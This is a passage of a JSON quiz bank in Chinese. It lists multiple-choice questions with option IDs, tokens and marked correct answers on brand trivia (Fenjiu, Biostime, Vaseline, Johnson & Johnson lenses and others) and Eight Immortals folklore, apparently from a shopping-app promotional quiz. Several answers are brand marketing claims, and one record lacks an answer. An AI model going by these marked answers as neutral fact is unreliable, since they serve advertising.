04:49:18","status":"1"},{"questionId":"4901451763","questionIndex":"5","questionStem":"资生堂标志的颜色是哪个?","options":"[{\"optionId\":\"L80Sx0BWjjl32ynwQkmfcQP7kPU5UHsKWQE\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjjl32ynwQkmfci6IqMuqiINiTu0\",\"optionDesc\":\"红色\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl32ynwQkmfcMJVSQRJtATqHqM\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjjl32ymmUQGEIGNq-hetky_kcH250U5JalIAMO735NmUE36nr74mlnl40XOaBLudn5QSdHSO3TZ47t6-Iz2MIw","correct":"{\"optionId\":\"L80Sx0BWjjl32ynwQkmfci6IqMuqiINiTu0\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"27/1/2021 04:53:30","update_time":"27/1/2021 04:53:30","status":"1"},{"questionId":"4901451764","questionIndex":"4","questionStem":"汾酒产自哪里?","options":"[{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcuhlXavPofhnF_KA\",\"optionDesc\":\"山西\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcP6CwZVvQtAyjMSV\",\"optionDesc\":\"贵州\"},{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcVF6YMm_QsXJfmTf\",\"optionDesc\":\"陕西\"}]","questionToken":"L80Sx0BWjjl33CmnUQGEJ-vx-aJEgQuZaaCpU8RRGH11BUYYeSRXL6KUBe2Jwv5gSEDAKoaNUiAXm8_stTz2kbbXCqiytA","correct":"{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcuhlXavPofhnF_KA\",\"optionDesc\":\"山西\\t\\t\"}","create_time":"27/1/2021 04:51:39","update_time":"27/1/2021 04:51:39","status":"1"},{"questionId":"4901451766","questionIndex":"4","questionStem":"汾酒是属于什么香型的白酒?","options":"[{\"optionId\":\"L80Sx0BWjjl33inwQkmfcWPoWqRMC7XvCNEl\",\"optionDesc\":\"酱香型\"},{\"optionId\":\"L80Sx0BWjjl33inwQkmfck4WfdVBaDB3eljN\",\"optionDesc\":\"清香型\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl33inwQkmfcHO1DNjD3zsIINxG\",\"optionDesc\":\"浓香型\"}]","questionToken":"L80Sx0BWjjl33imnUQGEINRj4kWqf7NM4NsAmcaF8ZEvO5phKzw-xTxRgW8AYyBWJwkfAVqegO3OYLbE6DdZ83v9FyHxJg","correct":"{\"optionId\":\"L80Sx0BWjjl33inwQkmfck4WfdVBaDB3eljN\",\"optionDesc\":\"清香型\\t\\t\"}","create_time":"27/1/2021 04:39:56","update_time":"27/1/2021 04:39:56","status":"1"},{"questionId":"4901451767","questionIndex":"3","questionStem":"汾酒最畅销的是哪款?","options":"[{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcfQCJ-SEvZ8b9aCX\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcH_7wawyJfFqg6lT\",\"optionDesc\":\"封坛\"},{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcp2v5WbQofhioDEY\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}]","questionToken":"L80Sx0BWjjl33ymgUQGEIJS1XWdnYScaQwMLF41ss-VDcwd1r3AzQFTIP1V8EJlVaArXgrsv35G9d8rTY9fgmcMC9rPVuA","correct":"{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcp2v5WbQofhioDEY\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}","create_time":"27/1/2021 04:35:34","update_time":"27/1/2021 04:35:34","status":"1"},{"questionId":"4901451768","questionIndex":"3","questionStem":"汾酒最具代表的是哪款?","options":"[{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcmVedPKKQ1oN\",\"optionDesc\":\"青花30\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcKAP9V41Ve2B\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcYVwzPo-gRnp\",\"optionDesc\":\"黄盖玻汾\"}]","questionToken":"L80Sx0BWjjl30CmgUQGEJ6kS_QYQhwrOcoCbdL5B7BSAE5lgRyHZdA8HNS9Mca-9zGgX8ck9oHCbSh6hKjjf9J5ZE971Gw","correct":"{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcmVedPKKQ1oN\",\"optionDesc\":\"青花30\\t\\t\"}","create_time":"27/1/2021 04:53:03","update_time":"27/1/2021 04:53:03","status":"1"},{"questionId":"4901451772","questionIndex":"1","questionStem":"如何辨别汾酒的真伪?","options":"[{\"optionId\":\"L80Sx0BWjjl22inwQkmfcbSgFURbRL2OHeIEJg\",\"optionDesc\":\"尝试酒劲大小\"},{\"optionId\":\"L80Sx0BWjjl22inwQkmfcNtylMRxGKSBRRKVPw\",\"optionDesc\":\"闻酒香浓度\"},{\"optionId\":\"L80Sx0BWjjl22inwQkmfcqMV-10TpoN5Fh4Htw\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}]","questionToken":"L80Sx0BWjjl22imiUQGEJzgxPlAnKl8QUfQtF-dZIYbIIzJJ0_JK6R32czSRurktdY1O6VUdapSl4M1RA2emhfjLZse9gw","correct":"{\"optionId\":\"L80Sx0BWjjl22inwQkmfcqMV-10TpoN5Fh4Htw\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}","create_time":"27/1/2021 03:39:49","update_time":"27/1/2021 03:39:49","status":"1"},{"questionId":"4901451773","questionIndex":"5","questionStem":"合生元品牌历史有多久?","options":"[{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcc-ZL095iwe3037F\",\"optionDesc\":\"5年\"},{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcjf394TulKcQVshA\",\"optionDesc\":\"20年以上\"},{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcIy-9r5H55iSHjLA\",\"optionDesc\":\"10年\"}]","questionToken":"L80Sx0BWjjl22ymmUQGEJ52szeMw73wBE48QWNUKhEi7j1pso98Mo_pNYh0qenTzd9ueu5ruVa2qq8G4JHuDye5XjIPWiw","correct":"{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcjf394TulKcQVshA\",\"optionDesc\":\"20年以上\"}","create_time":"27/1/2021 04:44:16","update_time":"27/1/2021 04:44:16","status":"1"},{"questionId":"4901451774","questionIndex":"5","questionStem":"以下哪个品牌不属于合生元集团?","options":"[{\"optionId\":\"L80Sx0BWjjl23CnwQkmfclV9_118Nr6c9WdyMg\",\"optionDesc\":\"妈咪爱\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl23CnwQkmfcTqo18DrQzNj47_Bgg\",\"optionDesc\":\"Swisse\"},{\"optionId\":\"L80Sx0BWjjl23CnwQkmfcCkmtMItQZUWWO7CeQ\",\"optionDesc\":\"Dodie\"}]","questionToken":"L80Sx0BWjjl23CmmUQGEJx2CnGU2qdRHabbP_wLdMLxmig0xN6LAFvnF6czaIqVXH6NoNrePCsdL2PyUFZq3T0lSwVPOAg","correct":"{\"optionId\":\"L80Sx0BWjjl23CnwQkmfclV9_118Nr6c9WdyMg\",\"optionDesc\":\"妈咪爱\\t\\t\"}","create_time":"27/1/2021 04:49:18","update_time":"27/1/2021 04:49:18","status":"1"},{"questionId":"4901451775","questionIndex":"1","questionStem":"以下哪个不属于合生元业务?","options":"[{\"optionId\":\"L80Sx0BWjjl23SnwQkmfcFbw533q7lpg3qYj6w\",\"optionDesc\":\"婴幼儿益生菌\"},{\"optionId\":\"L80Sx0BWjjl23SnwQkmfceC9kcbxZ5EwnEJpNg\",\"optionDesc\":\"婴幼儿奶粉\"},{\"optionId\":\"L80Sx0BWjjl23SnwQkmfciHOl7pxE2vIn2OS_g\",\"optionDesc\":\"成人奶粉\\t\\t\"}]","questionToken":"L80Sx0BWjjl23SmiUQGEIPLSb2SGSRpSpZsUQZlfCtDYwTycPmS788XL-qBR4BrwGps347iB7AhyJR2IRGweA9NDugemrQ","correct":"{\"optionId\":\"L80Sx0BWjjl23SnwQkmfciHOl7pxE2vIn2OS_g\",\"optionDesc\":\"成人奶粉\\t\\t\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"4901451776","questionIndex":"5","questionStem":"以下哪个品类奶粉合生元没有涉猎?","options":"[{\"optionId\":\"L80Sx0BWjjl23inwQkmfcVadT4rvKLKgjA\",\"optionDesc\":\"羊奶粉\"},{\"optionId\":\"L80Sx0BWjjl23inwQkmfcCNSeIjyl5mrZQ\",\"optionDesc\":\"有机奶粉\"},{\"optionId\":\"L80Sx0BWjjl23inwQkmfctOfVbYv7Ur18w\",\"optionDesc\":\"特配奶粉\\t\\t\"}]","questionToken":"L80Sx0BWjjl23immUQGEJ1k14nKwAGrDvFVHtDv5GhpdMUQ6axF9iN7rHSsU9cN-h0pcaoQRgOUH6b21cXfE7tXj_C5hcw","correct":"{\"optionId\":\"L80Sx0BWjjl23inwQkmfctOfVbYv7Ur18w\",\"optionDesc\":\"特配奶粉\\t\\t\"}","create_time":"27/1/2021 04:48:51","update_time":"27/1/2021 04:48:51","status":"1"},{"questionId":"4901451777","questionIndex":"3","questionStem":"以下哪个不是合生元派星系列奶粉的特点?","options":"[{\"optionId\":\"L80Sx0BWjjl23ynwQkmfcMH-wbFIyotQNWMB\",\"optionDesc\":\"亲和结构脂\"},{\"optionId\":\"L80Sx0BWjjl23ynwQkmfcsF4qzcBrGE58kPc\",\"optionDesc\":\"口味浓郁\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl23ynwQkmfceeuVgQqBZw725x3\",\"optionDesc\":\"比乳铁蛋白珍稀\"}]","questionToken":"L80Sx0BWjjl23ymgUQGEJ2b-oNxKXUSrcDWYR6R_3y1PBe1KhZjl7KdvaV3Mp4pA0q4Y6627W-uCY_di5YaVH3dq6fMZwQ","correct":"{\"optionId\":\"L80Sx0BWjjl23ynwQkmfcsF4qzcBrGE58kPc\",\"optionDesc\":\"口味浓郁\\t\\t\"}","create_time":"27/1/2021 04:41:47","update_time":"27/1/2021 04:41:47","status":"1"},{"questionId":"6001429786","questionIndex":"1","questionStem":"美瞳是强生的注册商标吗?","options":"[{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5x7R94kgQwlLUP0\",\"optionDesc\":\"不是\"},{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5hPzoEPU7kEqGvg\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5MOg_BDkA8NEO0I\",\"optionDesc\":\"是\"}]","questionToken":"LcQSx0BRhjkYVk6qaty4tpyHZd1oywGb56qYqDuhMS8Qmgxz4uzYPlahowfCMN0PRs18R55FPV5upL91Rv202E0vwM-5Tg","correct":"{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5MOg_BDkA8NEO0I\",\"optionDesc\":\"是\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"6001429787","questionIndex":"5","questionStem":"强生隐形眼镜提倡的是?","options":"[{\"optionId\":\"LcQSx0BRhjkYV074eZSj5woYKdvdSmZ2S_2h\",\"optionDesc\":\"抛型周期越长越划算 \"},{\"optionId\":\"LcQSx0BRhjkYV074eZSj5td7aFAIA77eOHuv\",\"optionDesc\":\"美瞳色素越夸张越好\"},{\"optionId\":\"LcQSx0BRhjkYV074eZSj5HVRw-hUwB8F8O-E\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}]","questionToken":"LcQSx0BRhjkYV06uaty4scAiljLix2LY_3y_4d3vWa_NxrijnpOyFrCz5Ky9qY9KybWcrNRehbgOZjskPu0E2YTsQ7Cpyg","correct":"{\"optionId\":\"LcQSx0BRhjkYV074eZSj5HVRw-hUwB8F8O-E\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"6001429788","questionIndex":"3","questionStem":"以下哪个不是强生隐形眼镜售卖的抛型?","options":"[{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5qacv42WrvrhEw\",\"optionDesc\":\"双周抛\"},{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5wiGMorE6lFssw\",\"optionDesc\":\"日抛\"},{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5Iubm06k49eZ9Q\",\"optionDesc\":\"年抛 \\t \\t\"}]","questionToken":"LcQSx0BRhjkYWE6oaty4sXueUKVBt80--3iLm0HVJqAJBweWVpXyPRBDib8pXtQ_Bs82bGGsDk3fg2gaRXhyRRpWMrp5fQ","correct":"{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5Iubm06k49eZ9Q\",\"optionDesc\":\"年抛 \\t \\t\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001429791","questionIndex":"1","questionStem":"三枪品牌创始于哪一年?","options":"[{\"optionId\":\"LcQSx0BRhjkZUU74eZSj5vcklVOsNK7y-1_3\",\"optionDesc\":\"1957\"},{\"optionId\":\"LcQSx0BRhjkZUU74eZSj57dcwWrZ0roGqiNq\",\"optionDesc\":\"1994\"},{\"optionId\":\"LcQSx0BRhjkZUU74eZSj5BYA5FfF_8maWYH4\",\"optionDesc\":\"1937\\t\\t\"}]","questionToken":"LcQSx0BRhjkZUU6qaty4tuR-0jzYFdp-odTmouxkm5bHpHQB4m44_FOecKgFbDzANWs31TRuxoqgmZ9XVEJ56OB_2LZBTA","correct":"{\"optionId\":\"LcQSx0BRhjkZUU74eZSj5BYA5FfF_8maWYH4\",\"optionDesc\":\"1937\\t\\t\"}","create_time":"2/2/2021 16:47:56","update_time":"2/2/2021 16:47:56","status":"1"},{"questionId":"6001429795","questionIndex":"3","questionStem":"佳佰 万信达在京东主营什么产品?","options":"[{\"optionId\":\"LcQSx0BRhjkZVU74eZSj5KCUHY65he-1UeAF\",\"optionDesc\":\"口罩\\t\"},{\"optionId\":\"LcQSx0BRhjkZVU74eZSj58NVbh5EwP7vbQOC\",\"optionDesc\":\"箱包\\t\"},{\"optionId\":\"LcQSx0BRhjkZVU74eZSj5rtuZw0-HcD-16CY\",\"optionDesc\":\"护肤品\"}]","questionToken":"LcQSx0BRhjkZVU6oaty4saIse_zPzUm6Clex2SI9FYJKImS_QPjNwTyOvHbbceoKyfyrY7EJkb6VcbLyN1e9FlyCFcn-tA","correct":"{\"optionId\":\"LcQSx0BRhjkZVU74eZSj5KCUHY65he-1UeAF\",\"optionDesc\":\"口罩\\t\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6001429796","questionIndex":"2","questionStem":"佳佰 万信达今年推出了什么产品?","options":"[{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5xAe-yjzAtMpUw\",\"optionDesc\":\"拜年箱包\\t\"},{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5kyNlZuqwYGpLg\",\"optionDesc\":\"拜年手机\"},{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5DYbQcW0_gcJdg\",\"optionDesc\":\"拜年口罩\\t\"}]","questionToken":"LcQSx0BRhjkZVk6paty4thJ8G4Yiuju_3ih37MtEkoLMrlO8v_mgGrVp5G2aPqmTmf2125R_CafjRCxAGiwPVj_nLX3XRQ","correct":"{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5DYbQcW0_gcJdg\",\"optionDesc\":\"拜年口罩\\t\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6001429797","questionIndex":"2","questionStem":"佳佰 万信达LOGO简称是?","options":"[{\"optionId\":\"LcQSx0BRhjkZV074eZSj5G9czggkG1DtH4Q\",\"optionDesc\":\"WXD\\t\"},{\"optionId\":\"LcQSx0BRhjkZV074eZSj5kskSKAbz3XWrMQ\",\"optionDesc\":\"WDX\"},{\"optionId\":\"LcQSx0BRhjkZV074eZSj5-7m35ZA2IUPjb8\",\"optionDesc\":\"WXDD\\t\"}]","questionToken":"LcQSx0BRhjkZV06paty4sfzRzTDB665mX6KBZKmvHkEFnFShctZwl357C8-lW5lVx_AEa17312kNVDHPTpY7LPFzImMsiQ","correct":"{\"optionId\":\"LcQSx0BRhjkZV074eZSj5G9czggkG1DtH4Q\",\"optionDesc\":\"WXD\\t\"}","create_time":"2/2/2021 16:47:51","update_time":"2/2/2021 16:47:51","status":"1"},{"questionId":"6001429798","questionIndex":"3","questionStem":"以下哪个不是佳佰 万信达的拜年口罩类型?","options":"[{\"optionId\":\"LcQSx0BRhjkZWE74eZSj5AeN67qnkSna-g0cbQ\",\"optionDesc\":\"福星高照\\t\"},{\"optionId\":\"LcQSx0BRhjkZWE74eZSj5kBeRF7W5_RisEtT-A\",\"optionDesc\":\"牛年顺利\"},{\"optionId\":\"LcQSx0BRhjkZWE74eZSj57BeIUgM2YreLuOs2w\",\"optionDesc\":\"牛转乾坤\\t\"}]","questionToken":"LcQSx0BRhjkZWE6oaty4sfGrMAy4pIqsXFsb-4UOj9LisBl14tubayXYznZY70FZlHvWALqbBTkUq_4GmbC62-at6UwCfg","correct":"","create_time":"2/2/2021 16:48:26","update_time":"2/2/2021 16:48:26","status":"1"},{"questionId":"6001429799","questionIndex":"1","questionStem":"以下哪个是佳佰 万信达产品的覆盖范围?","options":"[{\"optionId\":\"LcQSx0BRhjkZWU74eZSj5AoWg7iRxIWDHbuk\",\"optionDesc\":\"中国\"},{\"optionId\":\"LcQSx0BRhjkZWU74eZSj50ig-7wPts9s4Hsp\",\"optionDesc\":\"英国\"},{\"optionId\":\"LcQSx0BRhjkZWU74eZSj5vdHQ-pySdf2bmgr\",\"optionDesc\":\"俄罗斯\"}]","questionToken":"LcQSx0BRhjkZWU6qaty4sRLZs4ZTwixEkzpCwVxvJIgThjcZTxMpMsEDsbXIqumT9_KhEmP5rjY1zoSs9wM_fusx3kKurw","correct":"{\"optionId\":\"LcQSx0BRhjkZWU74eZSj5AoWg7iRxIWDHbuk\",\"optionDesc\":\"中国\"}","create_time":"2/2/2021 16:47:37","update_time":"2/2/2021 16:47:37","status":"1"},{"questionId":"6001429822","questionIndex":"3","questionStem":"美赞臣在中国的总部是在?","options":"[{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OS1O5WXQQrWodg6fP\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OSTpqOCtwucpH8QbB\",\"optionDesc\":\"广州\\t\"},{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OSvbFOT4KhHL2Ig05\",\"optionDesc\":\"上海\\t\"}]","questionToken":"LcQSx0BRhjaCFN5H3FUVHHbPUBqTP-KbkTxjSDfe2x44ClFX3FOuw-EHKM-5AkbBv7E1ZA1FzmbHc963iu9D7d-yHaNiyg","correct":"{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OSTpqOCtwucpH8QbB\",\"optionDesc\":\"广州\\t\"}","create_time":"2/2/2021 16:47:56","update_time":"2/2/2021 16:47:56","status":"1"},{"questionId":"6001429824","questionIndex":"4","questionStem":"凡士林的品牌logo颜色是?","options":"[{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OSqhDGFPtvityluqpvg\",\"optionDesc\":\"粉白\\t\"},{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OS_DZCPVVJQNYeZ-DPw\",\"optionDesc\":\"黄白\"},{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OSQufQY6isqr6J2RQYw\",\"optionDesc\":\"蓝白\"}]","questionToken":"LcQSx0BRhjaCEt5A3FUVHI9rmHEGLdNGbW3Vtzvnq0q45IPRWp7eMXLI5bCPZjAZ0Iw8CPHlqxPt6EkrOzEGuG3N1YsoHw","correct":"{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OSQufQY6isqr6J2RQYw\",\"optionDesc\":\"蓝白\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001429825","questionIndex":"5","questionStem":"凡士林晶冻的主要功能是?","options":"[{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OSSZayxyixj6siW5z4Q\",\"optionDesc\":\"修护\\t\"},{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OS-Uonol1zbYQwqA1qA\",\"optionDesc\":\"抗衰\"},{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OSmjqRJb-2PELM1bh_w\",\"optionDesc\":\"美白\\t\"}]","questionToken":"LcQSx0BRhjaCE95B3FUVHCzVPCfXFiY0rnHrfYXfvLcx960Z5gft2UeioypWn5LRGF9BWFIK4IfpAXWZCD3kvuvG8Ld4pA","correct":"{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OSSZayxyixj6siW5z4Q\",\"optionDesc\":\"修护\\t\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001429826","questionIndex":"5","questionStem":"凡士林的哪个产品曾在战争时作为医疗用途?","options":"[{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSbfTgG-r-hURsE0Z\",\"optionDesc\":\"晶冻\\t\\t\"},{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSpjkN_FjaK18KMZD\",\"optionDesc\":\"大粉瓶身体乳\"},{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSw6g9lDIU60jzwbf\",\"optionDesc\":\"手膜\"}]","questionToken":"LcQSx0BRhjaCEN5B3FUVG3cGDjB9E1t2yVwupbZg71_coSw6C0ynDGMx8IGCXmpMcy7x07rusqz86YpaQQ8Pcv9ooQh-9A","correct":"{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSbfTgG-r-hURsE0Z\",\"optionDesc\":\"晶冻\\t\\t\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"6001429827","questionIndex":"2","questionStem":"凡士林精华身体乳derma 5号主要功效是?","options":"[{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OS16mwQ33eJvb4JBp\",\"optionDesc\":\"除皱纹\"},{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OSgjBertvu4jlKunp\",\"optionDesc\":\"美白\\t\"},{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OScl0kNzpISew8U4x\",\"optionDesc\":\"去鸡皮\\t\"}]","questionToken":"LcQSx0BRhjaCEd5G3FUVGwL9BGDzybyAvooUv3M9eJdTTWCyl8tsDiyWO6mPm03JUw06OtT_wkQWq7KS0jVL1RQXVS8rCw","correct":"{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OScl0kNzpISew8U4x\",\"optionDesc\":\"去鸡皮\\t\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"6001430875","questionIndex":"2","questionStem":"八仙桌的名称由来是?","options":"[{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eRjiLkJ6QdXhatkt\",\"optionDesc\":\"桌子上刻有八仙\"},{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eNWHaa1WGNSoxXwM\",\"optionDesc\":\"桌子有八条腿\"},{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eshTHsn6t0d3YTeE\",\"optionDesc\":\"桌子可围坐八人\"}]","questionToken":"LcQSx0BQjzZSv92Ngr-vL126lzBQox6jm-V9foZ01yNnFqKwfn1C29-ybYOpf9Q_ykXdNpDQ-OEAIKYaj_PwcLGLQTib6g","correct":"{\"optionId\":\"LcQSx0BQjzZSv93ckfe0eshTHsn6t0d3YTeE\",\"optionDesc\":\"桌子可围坐八人\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6001430876","questionIndex":"2","questionStem":"八仙中最晚成仙的是?","options":"[{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0ej0s9r2jJ0KJlVaa\",\"optionDesc\":\"曹国舅\"},{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0eMf5-mwdnx8yIoMS\",\"optionDesc\":\"何仙姑\"},{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0eZAiHcX0t4nad1Fb\",\"optionDesc\":\"韩湘子\"}]","questionToken":"LcQSx0BQjzZSvN2Ngr-vKOS7g5d6DQXZdblyEFbnRvINnGJanhzEON3jgKEpgOtoXj6xDSuYY21fbS1IVR2-YSSq4xiC4w","correct":"{\"optionId\":\"LcQSx0BQjzZSvN3ckfe0ej0s9r2jJ0KJlVaa\",\"optionDesc\":\"曹国舅\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6001430877","questionIndex":"2","questionStem":"八仙中汉钟离的姓氏是?","options":"[{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0etUqZvfhO8IZRLw\",\"optionDesc\":\"钟离\"},{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0eQhWf_l9YYBzSgk\",\"optionDesc\":\"钟\"},{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0eL570m2z0zqwCi8\",\"optionDesc\":\"汉\"}]","questionToken":"LcQSx0BQjzZSvd2Ngr-vLwUkaQWxj6NA1hQYcDL6y8lkPePTZx22reE70fkA9v5oZcRJONxM7xEm8EhAmI-qRA0uZPEPoQ","correct":"{\"optionId\":\"LcQSx0BQjzZSvd3ckfe0etUqZvfhO8IZRLw\",\"optionDesc\":\"钟离\"}","create_time":"2/2/2021 16:48:39","update_time":"2/2/2021 16:48:39","status":"1"},{"questionId":"6001430878","questionIndex":"1","questionStem":"传说中八仙得道前年事最高的人?","options":"[{\"optionId\":\"LcQSx0BQjzZSst3ckfe0efI-9We_jZlIXw\",\"optionDesc\":\"铁拐李\"},{\"optionId\":\"LcQSx0BQjzZSst3ckfe0eB6WMAzhgcfG1Q\",\"optionDesc\":\"吕洞宾\"},{\"optionId\":\"LcQSx0BQjzZSst3ckfe0eiRskAJapVdXRw\",\"optionDesc\":\"张果老\"}]","questionToken":"LcQSx0BQjzZSst2Ogr-vKKzOgAsa0AE541wddzbEs_mkaOeHGIZAZMpG2VSfdpZaWJNTHX1FxOTuzAGBP3pK_1M2djV4xg","correct":"{\"optionId\":\"LcQSx0BQjzZSst3ckfe0eiRskAJapVdXRw\",\"optionDesc\":\"张果老\"}","create_time":"2/2/2021 16:48:12","update_time":"2/2/2021 16:48:12","status":"1"},{"questionId":"6001430879","questionIndex":"1","questionStem":"根据永乐宫壁画,吕洞宾成仙是由谁度化的?","options":"[{\"optionId\":\"LcQSx0BQjzZSs93ckfe0eWdE9X_cASQWOMg\",\"optionDesc\":\"铁拐李\"},{\"optionId\":\"LcQSx0BQjzZSs93ckfe0eBhOQTZqhRviZfA\",\"optionDesc\":\"曹国舅\"},{\"optionId\":\"LcQSx0BQjzZSs93ckfe0euqFhU5tioOxvNA\",\"optionDesc\":\"钟离权\"}]","questionToken":"LcQSx0BQjzZSs92Ogr-vL0SY1ojebLcEpZF7EuEwWpGGgcIsumxIcjtfpOPHik_rX1eQFBFszg7bfmyFHcXGyPh9w2bMSQ","correct":"{\"optionId\":\"LcQSx0BQjzZSs93ckfe0euqFhU5tioOxvNA\",\"optionDesc\":\"钟离权\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6001430880","questionIndex":"4","questionStem":"吕洞宾“一梦到华胥”时,隔壁正在煮什么?","options":"[{\"optionId\":\"LcQSx0BQjzZdut3ckfe0efWtA76zpgQnSW6M\",\"optionDesc\":\"红豆\"},{\"optionId\":\"LcQSx0BQjzZdut3ckfe0ejJe7t7hVz5LrzgA\",\"optionDesc\":\"黄粱\"},{\"optionId\":\"LcQSx0BQjzZdut3ckfe0eByEVtbAigTg7LGI\",\"optionDesc\":\"薏米\"}]","questionToken":"LcQSx0BQjzZdut2Lgr-vLw11ArYuG5w5ier2aI5Z8J-3k0rOjwI2vMGmSi_pymJJQ-decYQqQ3sqOsAXDdprXnq6D6nYEA","correct":"{\"optionId\":\"LcQSx0BQjzZdut3ckfe0ejJe7t7hVz5LrzgA\",\"optionDesc\":\"黄粱\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"6001430881","questionIndex":"2","questionStem":"永乐宫壁画中何仙姑吃了何物才得道升仙的?","options":"[{\"optionId\":\"LcQSx0BQjzZdu93ckfe0ei0K05dBnfjbd0hi\",\"optionDesc\":\"仙桃\"},{\"optionId\":\"LcQSx0BQjzZdu93ckfe0eUalSh6_9EbVJBI2\",\"optionDesc\":\"琼浆玉露\"},{\"optionId\":\"LcQSx0BQjzZdu93ckfe0eBdsWaLWtzqs5Xf1\",\"optionDesc\":\"云母\"}]","questionToken":"LcQSx0BQjzZdu92Ngr-vL0fubBA1iKyB0AjKDZJq3nBwN3GOlVY9WRtb04M54Z58Zl8rLIke-gaemdXOxs-H1Gc25k5Nug","correct":"{\"optionId\":\"LcQSx0BQjzZdu93ckfe0ei0K05dBnfjbd0hi\",\"optionDesc\":\"仙桃\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 